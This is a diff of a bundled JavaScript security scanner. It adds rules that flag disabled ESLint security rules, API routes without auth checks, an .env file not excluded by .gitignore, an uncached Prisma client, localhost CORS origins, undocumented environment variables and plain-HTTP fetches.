filePattern: /\.eslint(rc)?(\.(js|json|yml|yaml|cjs|mjs))?$/,
|
|
5414
|
+
check(content) {
|
|
5415
|
+
const lines = content.split("\n");
|
|
5416
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5417
|
+
if (/no-eval|no-implied-eval|no-new-func|no-script-url|security\/detect/i.test(lines[i]) && /["']off["']|:\s*0/.test(lines[i])) {
|
|
5418
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5419
|
+
}
|
|
5420
|
+
}
|
|
5421
|
+
return null;
|
|
5422
|
+
}
|
|
5423
|
+
}
|
|
5424
|
+
];
|
|
5425
|
+
function scanConfigs(files) {
|
|
5426
|
+
const findings = [];
|
|
5427
|
+
for (const { path: filePath, content } of files) {
|
|
5428
|
+
for (const check of CONFIG_CHECKS) {
|
|
5429
|
+
if (!check.filePattern.test(filePath)) continue;
|
|
5430
|
+
const result = check.check(content, filePath);
|
|
5431
|
+
if (result) {
|
|
5432
|
+
findings.push({
|
|
5433
|
+
id: `${check.id}-${filePath}:${result.line}`,
|
|
5434
|
+
rule: check.id,
|
|
5435
|
+
severity: check.severity,
|
|
5436
|
+
title: check.title,
|
|
5437
|
+
description: check.description,
|
|
5438
|
+
file: filePath,
|
|
5439
|
+
line: result.line,
|
|
5440
|
+
snippet: result.snippet,
|
|
5441
|
+
fix: check.fix,
|
|
5442
|
+
category: check.category,
|
|
5443
|
+
source: "custom",
|
|
5444
|
+
owasp: check.owasp,
|
|
5445
|
+
cwe: check.cwe
|
|
5446
|
+
});
|
|
5447
|
+
}
|
|
5448
|
+
}
|
|
5449
|
+
}
|
|
5450
|
+
return findings;
|
|
5451
|
+
}
|
|
5452
|
+
|
|
5453
|
+
// src/engines/multi-file-analyzer.ts
|
|
5454
|
+
function getSnippet5(content, line) {
|
|
5455
|
+
const lines = content.split("\n");
|
|
5456
|
+
const start = Math.max(0, line - 2);
|
|
5457
|
+
const end = Math.min(lines.length, line + 2);
|
|
5458
|
+
return lines.slice(start, end).map((l, i) => {
|
|
5459
|
+
const lineNum = start + i + 1;
|
|
5460
|
+
const prefix = lineNum === line ? ">" : " ";
|
|
5461
|
+
return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
|
|
5462
|
+
}).join("\n");
|
|
5463
|
+
}
|
|
5464
|
+
function scanMultiFile(files) {
|
|
5465
|
+
const findings = [];
|
|
5466
|
+
const fileMap = /* @__PURE__ */ new Map();
|
|
5467
|
+
for (const f of files) {
|
|
5468
|
+
fileMap.set(f.path, f.content);
|
|
5469
|
+
}
|
|
5470
|
+
const hasGlobalMiddleware = files.some(
|
|
5471
|
+
(f) => /middleware\.(ts|js)$/.test(f.path) && /(?:auth|session|clerk|nextauth|getToken)/i.test(f.content)
|
|
5472
|
+
);
|
|
5473
|
+
const hasAuthModule = files.some(
|
|
5474
|
+
(f) => /(?:auth|middleware)\.(ts|js)$/i.test(f.path) && /(?:requireAuth|isAuthenticated|authenticate|verify)/i.test(f.content)
|
|
5475
|
+
);
|
|
5476
|
+
for (const f of files) {
|
|
5477
|
+
if (!/(?:\/api\/|routes?\/|controllers?\/)/i.test(f.path)) continue;
|
|
5478
|
+
if (/middleware/i.test(f.path)) continue;
|
|
5479
|
+
if (/(?:health|status|ping|ready|live)\.(?:ts|js)/i.test(f.path)) continue;
|
|
5480
|
+
const hasLocalAuth = /(?:requireAuth|isAuthenticated|authenticate|verify|getAuth|getSession|getServerSession|withAuth|jwt\.verify|clerk)/i.test(f.content);
|
|
5481
|
+
const hasAuthImport = f.content.split("\n").some((line) => {
|
|
5482
|
+
const at = line.search(/import/i);
|
|
5483
|
+
return at >= 0 && /(?:auth|session|middleware|verify|clerk)/i.test(line.slice(at + 6));
|
|
5484
|
+
});
|
|
5485
|
+
if (!hasLocalAuth && !hasAuthImport && !hasGlobalMiddleware) {
|
|
5486
|
+
if (/\.(get|post|put|delete|patch)\s*\(|export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/i.test(f.content)) {
|
|
5487
|
+
const line = f.content.split("\n").findIndex(
|
|
5488
|
+
(l) => /\.(get|post|put|delete|patch)\s*\(|export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/i.test(l)
|
|
5489
|
+
) + 1;
|
|
5490
|
+
findings.push({
|
|
5491
|
+
id: `MFA001-${f.path}:${line}`,
|
|
5492
|
+
rule: "MFA001",
|
|
5493
|
+
severity: "high",
|
|
5494
|
+
title: "API Route Without Auth (Cross-File Check)",
|
|
5495
|
+
description: "This API route file has no authentication checks and no auth middleware was detected in the project.",
|
|
5496
|
+
file: f.path,
|
|
5497
|
+
line,
|
|
5498
|
+
snippet: getSnippet5(f.content, line),
|
|
5499
|
+
fix: "Add authentication middleware or import your auth module. If using Next.js, create middleware.ts in your app root.",
|
|
5500
|
+
category: "Authentication",
|
|
5501
|
+
source: "custom",
|
|
5502
|
+
owasp: "A01:2021",
|
|
5503
|
+
cwe: "CWE-862"
|
|
5504
|
+
});
|
|
5505
|
+
}
|
|
5506
|
+
}
|
|
5507
|
+
}
|
|
5508
|
+
const hasEnvFile = files.some((f) => /^\.env$|\/\.env$/.test(f.path));
|
|
5509
|
+
const gitignore = files.find((f) => f.path.endsWith(".gitignore"));
|
|
5510
|
+
if (hasEnvFile && gitignore) {
|
|
5511
|
+
if (!/^\.env$/m.test(gitignore.content) && !/^\*\.env$/m.test(gitignore.content)) {
|
|
5512
|
+
findings.push({
|
|
5513
|
+
id: "MFA002-.gitignore:1",
|
|
5514
|
+
rule: "MFA002",
|
|
5515
|
+
severity: "critical",
|
|
5516
|
+
title: ".env File Not in .gitignore",
|
|
5517
|
+
description: "An .env file exists in the project but .gitignore doesn't exclude it. Secrets may be committed.",
|
|
5518
|
+
file: ".gitignore",
|
|
5519
|
+
line: 1,
|
|
5520
|
+
snippet: getSnippet5(gitignore.content, 1),
|
|
5521
|
+
fix: "Add .env to .gitignore: echo '.env' >> .gitignore",
|
|
5522
|
+
category: "Secrets",
|
|
5523
|
+
source: "custom",
|
|
5524
|
+
owasp: "A02:2021",
|
|
5525
|
+
cwe: "CWE-312"
|
|
5526
|
+
});
|
|
5527
|
+
}
|
|
5528
|
+
}
|
|
5529
|
+
const dbFiles = files.filter(
|
|
5530
|
+
(f) => /(?:db|database|prisma|drizzle|sequelize|mongoose|knex)\.(ts|js)$/i.test(f.path) || /(?:createClient|createPool|createConnection|PrismaClient)/i.test(f.content)
|
|
5531
|
+
);
|
|
5532
|
+
for (const f of dbFiles) {
|
|
5533
|
+
if (/new PrismaClient/i.test(f.content)) {
|
|
5534
|
+
if (!/globalThis|global\./i.test(f.content)) {
|
|
5535
|
+
const line = f.content.split("\n").findIndex((l) => /new PrismaClient/.test(l)) + 1;
|
|
5536
|
+
findings.push({
|
|
5537
|
+
id: `MFA003-${f.path}:${line}`,
|
|
5538
|
+
rule: "MFA003",
|
|
5539
|
+
severity: "medium",
|
|
5540
|
+
title: "Database Client Not Cached (Connection Leak)",
|
|
5541
|
+
description: "Creating a new PrismaClient on every request leaks database connections. Use a singleton pattern.",
|
|
5542
|
+
file: f.path,
|
|
5543
|
+
line,
|
|
5544
|
+
snippet: getSnippet5(f.content, line),
|
|
5545
|
+
fix: "Use singleton: globalThis.prisma = globalThis.prisma || new PrismaClient(). This prevents connection exhaustion in serverless.",
|
|
5546
|
+
category: "Configuration",
|
|
5547
|
+
source: "custom",
|
|
5548
|
+
owasp: "A05:2021",
|
|
5549
|
+
cwe: "CWE-400"
|
|
5550
|
+
});
|
|
5551
|
+
}
|
|
5552
|
+
}
|
|
5553
|
+
}
|
|
5554
|
+
for (const f of files) {
|
|
5555
|
+
if (!/(?:server|app|index|main)\.(ts|js)$/i.test(f.path)) continue;
|
|
5556
|
+
const corsMatch = f.content.match(/origin\s*:\s*["'`](https?:\/\/[^"'`]+)["'`]/);
|
|
5557
|
+
if (corsMatch) {
|
|
5558
|
+
const corsOrigin = corsMatch[1];
|
|
5559
|
+
if (corsOrigin.includes("localhost") || corsOrigin.includes("127.0.0.1")) {
|
|
5560
|
+
const line = f.content.split("\n").findIndex((l) => l.includes(corsOrigin)) + 1;
|
|
5561
|
+
findings.push({
|
|
5562
|
+
id: `MFA004-${f.path}:${line}`,
|
|
5563
|
+
rule: "MFA004",
|
|
5564
|
+
severity: "medium",
|
|
5565
|
+
title: "CORS Origin Set to Localhost",
|
|
5566
|
+
description: "CORS origin is hardcoded to localhost. This will block requests from your production frontend.",
|
|
5567
|
+
file: f.path,
|
|
5568
|
+
line,
|
|
5569
|
+
snippet: getSnippet5(f.content, line),
|
|
5570
|
+
fix: "Use environment variable: origin: process.env.FRONTEND_URL || 'http://localhost:3000'",
|
|
5571
|
+
category: "Configuration",
|
|
5572
|
+
source: "custom",
|
|
5573
|
+
owasp: "A05:2021",
|
|
5574
|
+
cwe: "CWE-942"
|
|
5575
|
+
});
|
|
5576
|
+
}
|
|
5577
|
+
}
|
|
5578
|
+
}
|
|
5579
|
+
const envExample = files.find((f) => /\.env\.example$|\.env\.sample$|\.env\.template$/.test(f.path));
|
|
5580
|
+
if (envExample) {
|
|
5581
|
+
const envVarsUsed = /* @__PURE__ */ new Set();
|
|
5582
|
+
for (const f of files) {
|
|
5583
|
+
if (/\.(ts|js|tsx|jsx)$/i.test(f.path)) {
|
|
5584
|
+
const matches = f.content.matchAll(/process\.env\.([A-Z_][A-Z0-9_]*)/g);
|
|
5585
|
+
for (const m of matches) {
|
|
5586
|
+
envVarsUsed.add(m[1]);
|
|
5587
|
+
}
|
|
5588
|
+
}
|
|
5589
|
+
}
|
|
5590
|
+
const envVarsDocumented = /* @__PURE__ */ new Set();
|
|
5591
|
+
const exampleMatches = envExample.content.matchAll(/^([A-Z_][A-Z0-9_]*)=/gm);
|
|
5592
|
+
for (const m of exampleMatches) {
|
|
5593
|
+
envVarsDocumented.add(m[1]);
|
|
5594
|
+
}
|
|
5595
|
+
const undocumented = [...envVarsUsed].filter((v) => !envVarsDocumented.has(v) && !v.startsWith("NODE_") && v !== "npm_");
|
|
5596
|
+
if (undocumented.length > 0) {
|
|
5597
|
+
findings.push({
|
|
5598
|
+
id: `MFA005-${envExample.path}:1`,
|
|
5599
|
+
rule: "MFA005",
|
|
5600
|
+
severity: "low",
|
|
5601
|
+
title: "Env Vars Used But Not in .env.example",
|
|
5602
|
+
description: `These environment variables are used in code but missing from .env.example: ${undocumented.slice(0, 5).join(", ")}${undocumented.length > 5 ? ` (+${undocumented.length - 5} more)` : ""}`,
|
|
5603
|
+
file: envExample.path,
|
|
5604
|
+
line: 1,
|
|
5605
|
+
snippet: getSnippet5(envExample.content, 1),
|
|
5606
|
+
fix: "Add missing variables to .env.example so team members know which env vars are needed.",
|
|
5607
|
+
category: "Configuration",
|
|
5608
|
+
source: "custom",
|
|
5609
|
+
owasp: "A05:2021",
|
|
5610
|
+
cwe: "CWE-1188"
|
|
5611
|
+
});
|
|
5612
|
+
}
|
|
5613
|
+
}
|
|
5614
|
+
for (const f of files) {
|
|
5615
|
+
if (!/\.(tsx|jsx|ts|js)$/i.test(f.path)) continue;
|
|
5616
|
+
if (/(?:test|spec|mock|fixture)/i.test(f.path)) continue;
|
|
5617
|
+
const httpFetches = f.content.matchAll(/fetch\s*\(\s*["'`](http:\/\/(?!localhost|127\.0\.0\.1)[^"'`]+)["'`]/g);
|
|
5618
|
+
for (const m of httpFetches) {
|
|
5619
|
+
const line = f.content.substring(0, m.index).split("\n").length;
|
|
5620
|
+
findings.push({
|
|
5621
|
+
id: `MFA006-${f.path}:${line}`,
|
|
5622
|
+
rule: "MFA006",
|
|
5623
|
+
severity: "high",
|
|
5624
|
+
title: "Frontend Fetching Over HTTP (Not HTTPS)",
|
|
5625
|
+
description: `Fetching from ${m[1].substring(0, 40)}... over HTTP exposes data to interception.`,
|
|
5626
|
+
file: f.path,
|
|
5627
|
+
line,
|
|
5628
|
+
snippet: getSnippet5(f.content, line),
|
|
5629
|
+
fix: "Use HTTPS for all API calls in production.",
|
|
5630
|
+
category: "Configuration",
|
|
5631
|
+
source: "custom",
|
|
5632
|
+
owasp: "A02:2021",
|
|
5633
|
+
cwe: "CWE-319"
|
|
5634
|
+
});
|
|
5635
|
+
}
|
|
5636
|
+
}
|
|
5637
|
+
return findings;
|
|
5638
|
+
}
|
|
5639
|
+
|
|
4649
5640
|
// src/url-recon.ts
|
|
4650
5641
|
var BLOCKED_HOSTNAMES = /* @__PURE__ */ new Set([
|
|
4651
5642
|
"localhost",
|
|
@@ -8383,6 +9374,7 @@ function scanQuality(input, rules = qualityRules) {
|
|
|
8383
9374
|
filterFalsePositives,
|
|
8384
9375
|
filterSilenced,
|
|
8385
9376
|
findMatches,
|
|
9377
|
+
findMatchesAt,
|
|
8386
9378
|
findSourceMapRefs,
|
|
8387
9379
|
freeRules,
|
|
8388
9380
|
getObjectProperty,
|
|
@@ -8425,7 +9417,10 @@ function scanQuality(input, rules = qualityRules) {
|
|
|
8425
9417
|
replaceBlockComments,
|
|
8426
9418
|
routeForFile,
|
|
8427
9419
|
runCustomRules,
|
|
9420
|
+
scanConfigs,
|
|
9421
|
+
scanDependencies,
|
|
8428
9422
|
scanEntropy,
|
|
9423
|
+
scanMultiFile,
|
|
8429
9424
|
scanQuality,
|
|
8430
9425
|
sqlInjection,
|
|
8431
9426
|
stripeWebhookUnprotected,
|